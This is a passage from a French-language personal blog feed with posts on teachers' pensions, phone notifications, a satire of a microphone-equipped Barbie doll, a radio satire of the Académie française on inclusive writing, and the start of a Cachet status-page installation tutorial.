&lt;p&gt;&lt;em&gt;Disclaimer: J&amp;rsquo;aime beaucoup mon travail. Je ne suis pas à plaindre et je ne me plains pas. Je parle d&amp;rsquo;un retour en arrière et j&amp;rsquo;espère que les lecteurs et les lectrices peuvent comprendre que la perte d&amp;rsquo;acquis sociaux chez les un·es n&amp;rsquo;améliore en rien la situation chez d&amp;rsquo;autres. Qu&amp;rsquo;ils ou elles soient plus ou moins bien loti·es.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;Je suis enseignant.&lt;/p&gt;
&lt;p&gt;Comme j&amp;rsquo;aime à le dire, j&amp;rsquo;ai la chance d&amp;rsquo;avoir un travail qui me plait. Un travail qui me passionne. Un travail que me laisse pas mal de marge de manœuvre dans les choix de la matière que j&amp;rsquo;enseigne et dans mon organisation personnelle et professionnelle. Je peux, par exemple, faire mes tâches hors présentielles quand ça me convient.&lt;/p&gt;
&lt;p&gt;Je &lt;a href="https://votresalaire.be/main/carriere/belgique-job-et-de-salaire/belgique-professeurs-enseignement-secondaire"&gt;gagne honnêtement ma vie&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Lorsque je parle « salaire » avec des travailleurs ou des travailleuses du privé ou d&amp;rsquo;autres secteurs publics, la discussion autour du salaire prend régulièrement la tournure suivante. Après avoir échangé les montants nets… bruts… nets… bref !&lt;/p&gt;
&lt;p&gt;&lt;em&gt;#humour&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;— Oui, et tu as 2 mois de congés.&lt;br&gt;
— Non, 6 mois si on écoute la presse. En fait je suis en congé du 1 juillet jusqu&amp;rsquo;au 15 aout, date à laquelle les secondes sessions débutent. J&amp;rsquo;ai également congé pour le congé de Carnaval (oups, le congé de détente), pour les vacances de pâques (re oups, les vacances de printemps) et pour les vacances de Noël (encore une fois oups, les vacances d&amp;rsquo;hiver). Cela fait 33 + 5 + 10 + 10 soient 58 jours de congés.&lt;br&gt;
— …&lt;br&gt;
— Tiens et vous ? Vous avez toujours une bagnole ?&lt;br&gt;
— Souvent mais plus systématiquement. Quand on a une voiture, on a aussi la carte essence. C&amp;rsquo;est toi qui paie ton &lt;em&gt;laptop&lt;/em&gt; ? Nous on reçoit le &lt;em&gt;laptop&lt;/em&gt; et la connexion internet.&lt;br&gt;
— Non, nous on a les congés.&lt;br&gt;
— On a aussi un &lt;em&gt;smartphone&lt;/em&gt; avec un abonnement assez solide.&lt;br&gt;
— Nous on a les congés.&lt;br&gt;
— On a des chèques repas, c&amp;rsquo;est assez sympa.&lt;br&gt;
— Nous on a les congés.&lt;br&gt;
— Ma cadette a dû être hospitalisée et avec l&amp;rsquo;assurance hospitalisation, c&amp;rsquo;était facile. On n&amp;rsquo;a même pas dû payer d&amp;rsquo;avance. Tout était pris en charge. Et toi, tu as une assurance hospitalisation ?&lt;br&gt;
— Non non, nous on a les congés.&lt;br&gt;
— Pas d&amp;rsquo;assurance groupe non plus alors.&lt;br&gt;
— Nope ! On a les congés. Oui, tu sais. Et toi, c&amp;rsquo;est 20 jours de congés c&amp;rsquo;est ça ?&lt;br&gt;
— Non, chez nous, c&amp;rsquo;est 35 jours. Comme on ne pointe pas, on a 3 jours en plus. On a aussi quelques jours de récup. Tout l&amp;rsquo;un dans l&amp;rsquo;autre, ça doit faire 40 jours par an.&lt;/p&gt;
&lt;p&gt;— …&lt;/p&gt;
&lt;p&gt;— Comme on est dans le secteur public, on a un salaire un peu moindre mais on a la sécurité de l&amp;rsquo;emploi et une bonne pension.&lt;/p&gt;
&lt;p&gt;Aujourd&amp;rsquo;hui, début 2018, j&amp;rsquo;ai un collègue de 58 ans qui part à la retraite. C&amp;rsquo;est le dernier à profiter de ce régime. &lt;a href="http://www.skolo.org/2017/12/19/pensions-enseignants-vivre-travailler-travailler-vivre/"&gt;Les autres travailleront jusque 67 ans pour une pension de 400 à 600€ net de moins par mois&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Plutôt que de permettre à des jeunes de travailler et d&amp;rsquo;enseigner, ce sont des papys et des mamys de 67 ans qui vont se retrouver devant des gamins de 18 ans pendant que leurs enfants de 24 ans — plus ou moins hein ! C&amp;rsquo;est un exemple — resteront à la maison parce qu&amp;rsquo;au chomage. Ironique. Non ?&lt;/p&gt;
&lt;p&gt;Tiens ! Si mon gamin ou ma gamine veut devenir prof, il ou elle pourra préparer mes leçons et faire mes corrections… pendant que je ferai une petite sieste au fauteuil.&lt;/p&gt;
&lt;p&gt;Tu seras prof d&amp;rsquo;info mon fils ou ma fille.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="https://unsplash.com/photos/dHs6dV6w-vc"&gt;Unsplash&lt;/a&gt;. Un homme à la retraite. Sans doute bien méritée.&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Éviter de se faire voler du temps par son téléphone, conseils d'un philosophe produit.</title><link href="http://blog.namok.be/2017-12-02-eviter-de-se-faire-voler-du-temps-par-son-telephone-conseils-philosophe-produit.html" rel="alternate"/><published>2017-12-02T00:00:00+01:00</published><updated>2017-12-02T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2017-12-02:/2017-12-02-eviter-de-se-faire-voler-du-temps-par-son-telephone-conseils-philosophe-produit.html</id><summary type="html">Commen gérer ses notifications et son smartphone. Déconnexion.</summary><content type="html">&lt;p&gt;&lt;img alt="kevin-garden-phone-men.jpg" src="/images/kevin-garden-phone-men.jpg" title="kevin-garden-phone-men.jpg, déc. 2017"&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Au voleur, au voleur, à l&amp;rsquo;assassin, au meurtrier. Justice, juste Ciel. Je suis perdu, je suis assassiné, on m&amp;rsquo;a coupé la gorge, on m&amp;rsquo;a dérobé…&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;On m&amp;rsquo;a dérobé mon temps.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mon temps&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Mon temps, je veux pouvoir l&amp;rsquo;organiser comme je l&amp;rsquo;entends. J&amp;rsquo;essaie de m&amp;rsquo;organiser en fonction de contraintes que j&amp;rsquo;ai acceptées… acceptations contraintent parfois mais c&amp;rsquo;est une autre histoire. Aujourd&amp;rsquo;hui, il s&amp;rsquo;agit de mon téléphone. Il s&amp;rsquo;annonce tellement &lt;em&gt;smart&lt;/em&gt; et pourtant, je dois prendre du temps pour l&amp;rsquo;éduquer. En effet, nous ne sommes tous les deux pas d&amp;rsquo;accord sur une règle aussi simple que de ne pas m&amp;rsquo;interrompre tout le temps.&lt;/p&gt;
&lt;p&gt;Aujourd&amp;rsquo;hui j&amp;rsquo;ai &lt;strong&gt;désactivé toutes les notifications de mon téléphone&lt;/strong&gt; exceptées la sonnerie des appels téléphoniques et les notifications de messages individuels.&lt;/p&gt;
&lt;p&gt;Mon téléphone sonne ou vibre — il vibre plus souvent qu&amp;rsquo;il ne sonne d&amp;rsquo;ailleurs — si quelqu&amp;rsquo;un m&amp;rsquo;appelle, si je reçois un (bon vieux) sms ou si je reçois un message personnel d&amp;rsquo;une application telle que Signal ou Whatssapp. Si le message est destiné à un groupe, pas de notification. Si c&amp;rsquo;est une application de micro-blogging comme Twitter, Facebook, Instagram, Snapchat… pas de notification. De manière générale, pas de notification.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai également épuré l&amp;rsquo;écran d&amp;rsquo;accueil afin de ne pas être distrait lorsque je l&amp;rsquo;allume. Et, bien sûr, il ne monte (quasi) jamais dans ma chambre.&lt;/p&gt;
&lt;p&gt;Essayez.&lt;br&gt;
Vraiment.&lt;/p&gt;
&lt;p&gt;Depuis lors, c&amp;rsquo;est moi qui décide quand je relève mes mails. Quand je lis ces messages de moins de dix mots s&amp;rsquo;enchainant à un rythme effrenés… pour finalement se donner un simple rendez-vous. Attention, je ne dénigre pas. Dans un groupe de dix personnes, si tout le monde répond à une question, ce sont déjà plus de dix messages reçus… et donc plus de dix notifications. Plus de dix interruptions pour regarder son téléphone. Plus de dix fois où je n&amp;rsquo;ai pas été attentif à ce que tu disais. Plus de dix fois où je me suis interrompu dans la rédaction de ce document. Plus de dix fois ou j&amp;rsquo;ai raté l&amp;rsquo;occasion de voir mon fils faire ces premiers pas. Plus de dix fois…&lt;/p&gt;
&lt;p&gt;Vivre, c&amp;rsquo;est choisir où et à quoi porter son attention. Tout le temps. Toujours. Avant, je pouvais choisir de m&amp;rsquo;embêter, d&amp;rsquo;attendre. Pendant ce temps mon esprit vagabonde. J&amp;rsquo;&lt;a href="2014-11-12-pourquoi-retenir.html"&gt;utilise ce que j&amp;rsquo;ai retenu&lt;/a&gt;. J&amp;rsquo;ai &lt;strong&gt;l&amp;rsquo;occasion de penser&lt;/strong&gt;. Penser, c&amp;rsquo;est inventer. Penser c&amp;rsquo;est se rappeler des moments joyeux et d&amp;rsquo;autres tristes. Penser c&amp;rsquo;est s&amp;rsquo;organiser, ordonnancer, prioritiser ce que l&amp;rsquo;on va faire. Penser ça crée du lien lorsque l&amp;rsquo;on réfléchit à ce que l&amp;rsquo;on va dire à ses amis.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Penser ça permet d&amp;rsquo;être.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Aujourd&amp;rsquo;hui tout en haut de la liste de ce qui attire mon attention, il y a mon téléphone. Il est même possible de &lt;a href="2014-05-08-comment-avoir-une-erection-en-allant-travailler.html"&gt;passer à côté d&amp;rsquo;une pub aguichante&lt;/a&gt; sans la voir parce que le nez planté dans le téléphone. Et mon téléhpne &lt;a href="https://tempsreel.nouvelobs.com/rue89/rue89-le-grand-entretien/20160604.RUE3072/tristan-harris-des-millions-d-heures-sont-juste-volees-a-la-vie-des-gens.html"&gt;d&amp;rsquo;après Tristan Harris&lt;/a&gt; offre un choix toujours plus séduisant que la réalité. C&amp;rsquo;est quand même mieux de lire un article sur son téléphone que de regarder les gens autour de soi en attendant le train. Est-ce vraiment mieux ? Est-on encore capable de simplement attendre. Est-on suffisament patient avec la réalité ? « Non » dit Tristan Harris.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;When you wait. Just wait.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Les proches qui m&amp;rsquo;entourent méritent mon attention. Mon téléphone est mon serviteur. Les sociétés qui développent des applications veulent que l&amp;rsquo;on passe du temps sur leur application. Donner une flamme — &lt;a href="https://support.snapchat.com/fr-FR/a/Snaps-snapstreak"&gt;référence au mode Snapstreak de Snapchat&lt;/a&gt; — parce que l&amp;rsquo;on poste un message tous les jours n&amp;rsquo;est pas une fonctionnalité qui me rend service. Envoyer un message vide (de sens) à un contact pour conserver sa flamme (hors contexte cette phrase ne veut rien dire) ce n&amp;rsquo;est pas entretenir du lien avec ses &amp;ndash;amis&amp;ndash; contacts.&lt;/p&gt;
&lt;p&gt;Mon téléphone est à mon service.&lt;br&gt;
Je ne suis pas au service de mon téléhpone.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo de &lt;a href="https://500px.com/photo/234058849/the-distraction-by-kevin-carden"&gt;Kevin Carden&lt;/a&gt;. Photo qui illustre parfaitement l&amp;rsquo;objet de l&amp;rsquo;article. Qu&amp;rsquo;il en soit ici remercié.&lt;/em&gt;&lt;br&gt;
&lt;em&gt;Cette réflexion n&amp;rsquo;est pas venue toute seule. C&amp;rsquo;est lorsque j&amp;rsquo;ai découvert qu&amp;rsquo;il existe des gens dont le métier est d&amp;rsquo;être &lt;strong&gt;philosophe produit&lt;/strong&gt; que je me suis dit: « Oups, c&amp;rsquo;est pire que ce que je pensais. ». &lt;a href="https://tempsreel.nouvelobs.com/rue89/rue89-le-grand-entretien/20160604.RUE3072/tristan-harris-des-millions-d-heures-sont-juste-volees-a-la-vie-des-gens.html"&gt;Tristan Harris&lt;/a&gt; a été philosophe produit chez Google et je recommande la lecture de &lt;a href="https://tempsreel.nouvelobs.com/rue89/rue89-le-grand-entretien/20160604.RUE3072/tristan-harris-des-millions-d-heures-sont-juste-volees-a-la-vie-des-gens.html"&gt;cet article&lt;/a&gt; à ce sujet.&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Une barbie, c'est mieux qu'un micro</title><link href="http://blog.namok.be/2017-12-01-une-barbie-c-est-mieux-qu-un-micro.html" rel="alternate"/><published>2017-12-01T00:00:00+01:00</published><updated>2017-12-01T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2017-12-01:/2017-12-01-une-barbie-c-est-mieux-qu-un-micro.html</id><summary type="html">Une barbie, c'est mieux qu'un micro</summary><content type="html">&lt;p&gt;&lt;img alt="Girls_Headstands.jpg" src="/images//Girls_Headstands.jpg" title="Girls_Headstands.jpg, déc. 2017"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1984&lt;/strong&gt;&lt;br&gt;
Nous sommes en pleine guerre froide. Qu&amp;rsquo;ils soient américains ou russes, les gouvernements aimeraient entendre ce qui se dit dans les chaumières. Par rapport à 1947, les technologies évoluent mais comment faire ? Placer des micros n&amp;rsquo;est pas toujours discrets. Comment allons-nous cibler les opposant·es au régime, les terroristes en devenir ou simplement les fabricant·es de bombes amateur·es. Ce serait tellement bien d&amp;rsquo;écouter tout le monde et de trier après.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2017&lt;/strong&gt;&lt;br&gt;
Ça y est tout le monde est connecté. Ils n&amp;rsquo;utilisent plus beaucoup les services acentralisés et se connectent tous à de grosses sociétés. Une société a même réussi à rassembler plus de 2 milliards d&amp;rsquo;utilisateurs. C&amp;rsquo;est inespéré !&lt;/p&gt;
&lt;p&gt;Par contre, nous n&amp;rsquo;entendons toujours pas ce qui se dit dans les maisons. Nous avons des images, du texte, nous savons ce qu&amp;rsquo;ils consomment ce qu&amp;rsquo;ils regardent… mais pas encore très bien ce qu&amp;rsquo;ils disent. Comment pourrions-nous amener des micros chez eux ?&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Le petit nouveau lève timidement la main.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;— On n&amp;rsquo;a qu&amp;rsquo;a commercialiser une poupée avec un micro qui enverra tout ce qui se dit sur le serveur d&amp;rsquo;une société. Il nous suffira de payer cette société.&lt;br&gt;
— …&lt;br&gt;
— Et en plus, ils achèteront le micro… heu la poupée eux-mêmes !&lt;/p&gt;
&lt;p&gt;Le gouvernement rêvait de placer des micros chez les gens… barbie l&amp;rsquo;a fait.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://www.barbieandkenphotos.com/mywork/"&gt;David Parise&lt;/a&gt; qui propose plein de poupées vintages. Pour des mises en scène plus récentes, il est possible de perdre pas mal de temps chez &lt;a href="https://www.pinterest.fr/saramehchem/la-vraie-vie-de-barbie/"&gt;Pinterest&lt;/a&gt; par exemple. L&amp;rsquo;&lt;a href="https://www.amazon.com/Barbie-DKF74-Hello-Doll/dp/B012BIBAA2"&gt;objet chez Amazon&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Si l'académie française était presque sérieuse</title><link href="http://blog.namok.be/2017-11-14-si-academie-francaise-etait-presque-serieuse.html" rel="alternate"/><published>2017-11-14T00:00:00+01:00</published><updated>2017-11-14T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2017-11-14:/2017-11-14-si-academie-francaise-etait-presque-serieuse.html</id><summary type="html">Si l'académie française était presque sérieuse</summary><content type="html">&lt;p&gt;&lt;a href="/images//424H-1200x.jpg" title="424H-1200x.jpg"&gt;&lt;img alt="424H-1200x.jpg" src="/images/424H-1200x.jpg" title="424H-1200x.jpg, nov. 2017"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Ce lundi 6 novembre par un hasard sans nom j&amp;rsquo;écoutais &lt;a href="https://www.rtbf.be/lapremiere/"&gt;La Première&lt;/a&gt;. Je n&amp;rsquo;écoute plus beaucoup la radio car les publicités m&amp;rsquo;assomment. La Première est une radio belge très intéressante — Non, ce billet n&amp;rsquo;est pas sponsorisé — proposant l&amp;rsquo;une ou l&amp;rsquo;autre émission de qualité. J&amp;rsquo;écoutais donc l&amp;rsquo;une d&amp;rsquo;entre elles, j&amp;rsquo;ai nommé « C&amp;rsquo;est presque sérieux ».&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.rtbf.be/auvio/detail_jean-jacques-jaspers-le-journal-des-bonnes-nouvelles?id=2274184"&gt;Jean-Jacques Jespers y a fait une chronique&lt;/a&gt; sur le sujet très mode de l&amp;rsquo;écriture inclusive.&lt;/p&gt;
&lt;p&gt;&lt;a href="2017-09-28-le-corbeau-et-la-renarde.html"&gt;J&amp;rsquo;ai parlé récemment de l&amp;rsquo;écriture inclusive&lt;/a&gt; en raillant un tweet se moquant de celle-ci et plus particulièrement d&amp;rsquo;une inutile et &lt;em&gt;trollesque&lt;/em&gt; &lt;a href="https://twitter.com/NaomiHalll/status/912402568365723648"&gt;réécriture d&amp;rsquo;une fable de la fontaine&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Pour bien apprécier la saveur de ce billet, il est préférable d&amp;rsquo;avoir suivi l&amp;rsquo;actualité de ces derniers jours sur le sujet. J&amp;rsquo;en rappelle quelques éléments sans être exhaustif.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Certain·es réduisent la notion d&amp;rsquo;écriture inclusive à la notation utilisant le point médian alors qu&amp;rsquo;&lt;a href="http://www.ecriture-inclusive.fr/"&gt;elle est bien plus que cela&lt;/a&gt;. Outre la féminisation des noms de métiers — &lt;a href="http://www.audreyalwett.com/auteur-auteure-ou-autrice/"&gt;diriez-vous auteure ou autrice ?&lt;/a&gt; — elle propose d&amp;rsquo;abord la double flexion et l&amp;rsquo;utilisation d&amp;rsquo;un épicène s&amp;rsquo;il existe avant l&amp;rsquo;écriture avec un point médian.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Des voix s&amp;rsquo;élèvent — &lt;a href="https://twitter.com/laelia_ve/status/924630632545832960"&gt;par exemple cette tweet story&lt;/a&gt; — pour remplacer la règle de grammaire dite du « masculin l&amp;rsquo;emporte » par la « règle de proximité ». Règle qui était d&amp;rsquo;usage jadis et qui est devenue celle que l&amp;rsquo;on connait parce que les académiciens de l&amp;rsquo;époque — majoritairement des hommes — en ont décidé ainsi car, je cite, le mâle est plus noble que la femelle. Point.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;L&amp;rsquo;académie française a tranché: c&amp;rsquo;est un péril mortel !&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Je retranscrits ici cette chronique de Jean-Jacques Jespers en espérant que vous en apprécierez la saveur et le second degré puisqu&amp;rsquo;elle prend tous les arguments ci-dessous au premier degré. J&amp;rsquo;ai ri.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;La bonne nouvelle du jour est la réaction salutaire de l&amp;rsquo;académie française. Cet aréopage de sages que l&amp;rsquo;athérosclérose et la démence sénile n&amp;rsquo;empêchent pas de penser juste ni la voix chevrotante de clamer la bonne parole. Contre quoi les immortels se sont-ils salutairement élevés malgré leurs rhumatismes ? Et bien contre cette abomination que l&amp;rsquo;on appelle l&amp;rsquo;« écriture inclusive ».&lt;/p&gt;
&lt;p&gt;Un grand danger. Et ils ont raison de le dénoncer. De quoi s&amp;rsquo;agit-il ? Et bien de cette méthode d&amp;rsquo;écriture préconisée par le soi-disant haut conseil pour l&amp;rsquo;égalité entre les femmes et les hommes. Encore un refuge de frustrés et d&amp;rsquo;homosexuels. Ce fameux et fumeux haut conseil suggère que dans les médias et dans l&amp;rsquo;édition on féminise tous les noms de métiers et que l&amp;rsquo;on accorde le pluriel de manière non genrée. Hein ! Pour concrétiser cette règle stupide et arbitraire le même haut conseil veut que l&amp;rsquo;on écrive le masculin et le féminin dans un seul et même mot avec des points de milieu pour séparer des désinences. Donc; étudiant-point-e-point-s, régulier-point-e-point-s. Etc.&lt;/p&gt;
&lt;p&gt;Alors je vous demande un peu comment va-t-on prononcer cette chose épouvantable ? On m&amp;rsquo;objecte que ce n&amp;rsquo;est pas fait pour être lu à haute voix, c&amp;rsquo;est simplement pour écrire les deux genres de manière plus courte. Synthétique. Balivernes croquignolesques. Alors qu&amp;rsquo;il existe une règle très simple qui indique bien la hiérarchie naturelle dans nos sociétés: le masculin l&amp;rsquo;emporte sur le féminin. Puisqu&amp;rsquo;il n&amp;rsquo;y a pas de genre neutre en français, le genre épicène, c&amp;rsquo;est-à-dire le non genre, doit être le genre dominant, c&amp;rsquo;est-à-dire naturellement le masculin.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est là un progrès formidable de la civilisation imposé — je vous le rappelle — il y a quatre siècles par l&amp;rsquo;académie française elle-même pour mettre fin à l&amp;rsquo;insupportable anarchie linguistique qui prévalait à cette époque.&lt;/p&gt;
&lt;p&gt;Rendez-vous compte. Jusqu&amp;rsquo;au XVIIe siècle on utilisait en français plein de noms ridicules pour désigner les métiers féminins; prévote, autrice, peinteresse, charpentière. Pis encore quand il y avait plusieurs noms de genres différents, on accordait le pluriel avec le dernier nom cité. On ne disait pas — comme on doit dire: « ce garçon et ses cinq filles sont beaux ». Non. On utilisait la règle de la proximité, et on n&amp;rsquo;hésitait pas à proférer cette horreur: « ce garçon et ces cinq filles sont belles ». C&amp;rsquo;est incroyable.&lt;/p&gt;
&lt;p&gt;Heureusement en 1651 le grand grammairien Scipion Dupleix conseiller du roi et membre de l&amp;rsquo;académie a mis les points sur les i — et pas entre les lettres. Il a énoncé et fait prévaloir pour l&amp;rsquo;éternité cette règle qui a la raison même. Je cite: « Parce que le genre au masculin est le plus noble il prévaut seul contre deux ou plusieurs féminins ». Vous avez bien entendu: « le genre masculin est le plus noble ». N&amp;rsquo;est-ce pas évident ? N&amp;rsquo;est-il pas temps de rappeler, comme le font entre deux quintes de toux les académiciens ? N&amp;rsquo;est-il pas temps de rappeler aux femmes quelle est leur place naturelle ? À la cuisine, à l&amp;rsquo;église ou au shopping.&lt;/p&gt;
&lt;p&gt;Je m&amp;rsquo;excuse si je m&amp;rsquo;énerve mais j&amp;rsquo;ai difficile de rester tranquille quand on attaque notre belle langue française.&lt;/p&gt;
&lt;p&gt;Extrait de la &lt;a href="https://www.rtbf.be/auvio/detail_jean-jacques-jaspers-le-journal-des-bonnes-nouvelles?id=2274184"&gt;chronique de Jean-Jacques Jespers dans « C&amp;rsquo;est presque sérieux »&lt;/a&gt; du lundi 6 novembre 2017.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="https://cdn.gratisography.com/photos/424H.jpg"&gt;Gratisography&lt;/a&gt;. Une — des rares — académicienne tentant de passer inapercu… si tant est que sa jeunesse ne l&amp;rsquo;aie pas trahie.&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Installation de cachet, the open source status page system</title><link href="http://blog.namok.be/2017-11-09-installation-de-cachet-status-page-system.html" rel="alternate"/><published>2017-11-09T00:00:00+01:00</published><updated>2017-11-09T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2017-11-09:/2017-11-09-installation-de-cachet-status-page-system.html</id><summary type="html">Installation de cachet, the open source status page system</summary><content type="html">&lt;p&gt;&lt;img alt="jonathan-perez-409943-1200x.jpg" src="/images/jonathan-perez-409943-1200x.jpg" title="jonathan-perez-409943-1200x.jpg, nov. 2017"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Cachet&lt;/strong&gt; est un système qui offre une page de statut de différents services web. Il permet de reporter rapidement et de centraliser l&amp;rsquo;état des services web d&amp;rsquo;une société / asbl / groupement…&lt;/p&gt;
&lt;p&gt;Pour l&amp;rsquo;école, ça se trouve là: &lt;a href="http://status.esi-bru.be/"&gt;http://status.esi-bru.be&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;installation de &lt;strong&gt;cachet&lt;/strong&gt; se fait en suivant &lt;a href="https://docs.cachethq.io/docs/installing-cachet"&gt;la documentation officielle&lt;/a&gt;… à quelques changements près.&lt;/p&gt;
&lt;p&gt;Pour le début, je suis simplement le tuto.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/var/www/html
git&lt;span class="w"&gt; &lt;/span&gt;clone&lt;span class="w"&gt; &lt;/span&gt;https://github.com/cachethq/Cachet.git
&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Cachet
git&lt;span class="w"&gt; &lt;/span&gt;tag&lt;span class="w"&gt; &lt;/span&gt;-l&lt;span class="w"&gt; &lt;/span&gt;
git&lt;span class="w"&gt; &lt;/span&gt;checkout&lt;span class="w"&gt; &lt;/span&gt;v2.3.13
cp&lt;span class="w"&gt; &lt;/span&gt;.env.example&lt;span class="w"&gt; &lt;/span&gt;.env
vim&lt;span class="w"&gt; &lt;/span&gt;.env
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Édition du fichier de configuration. Comme ce sera une BD &lt;em&gt;postgresql&lt;/em&gt;, il faut — l&amp;rsquo;installer si ce n&amp;rsquo;est fait — créer la BD et créer un utilisateur dédié: &lt;em&gt;cachet&lt;/em&gt;. Pour ce faire:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;création de la BD&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;-u&lt;span class="w"&gt; &lt;/span&gt;postgres&lt;span class="w"&gt; &lt;/span&gt;createdb&lt;span class="w"&gt; &lt;/span&gt;cachet
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;choisir un utilisateur&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;-u&lt;span class="w"&gt; &lt;/span&gt;postges&lt;span class="w"&gt; &lt;/span&gt;createuser&lt;span class="w"&gt; &lt;/span&gt;--interactive
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;lui attribuer un mot de passe — &lt;code&gt;pwgen 10 -1&lt;/code&gt; fait bien l&amp;rsquo;affaire — que je peux reporter dans le fichier de configuration&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;psql (9.6.3)
Saisissez « help » pour l&amp;#39;aide.
postgres=# \password cachet
Saisissez le nouveau mot de passe : 
Saisissez-le à nouveau : 
postgres=# \q
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pour l&amp;rsquo;installation de &lt;em&gt;composer&lt;/em&gt;, je préfère faire confiance à mon gestionnaire de paquets et faire un &lt;code&gt;apt install composer&lt;/code&gt; disponible depuis &lt;em&gt;stretch&lt;/em&gt; sous &lt;em&gt;debian&lt;/em&gt;. La génération de la clé nécessite que &lt;em&gt;composer&lt;/em&gt; soit installé. Ensuite, l&amp;rsquo;installation de &lt;em&gt;cachet&lt;/em&gt; se passe sans soucis.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;composer&lt;span class="w"&gt; &lt;/span&gt;install
php&lt;span class="w"&gt; &lt;/span&gt;artisan&lt;span class="w"&gt; &lt;/span&gt;key:generate
php&lt;span class="w"&gt; &lt;/span&gt;artisan&lt;span class="w"&gt; &lt;/span&gt;app:install
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Il est temps d&amp;rsquo;ajouter le &lt;em&gt;vhost&lt;/em&gt; &lt;em&gt;apache2&lt;/em&gt; — ou &lt;em&gt;nginx&lt;/em&gt; — et d&amp;rsquo;activer &lt;em&gt;mod rewrite&lt;/em&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;a2enmod&lt;span class="w"&gt; &lt;/span&gt;rewrite
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;VirtualHost&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;*:80\&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;ServerName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;status.example.org
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;ServerAlias&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;www.status.example.org&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;ServerAdmin&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;webmaster@example.org
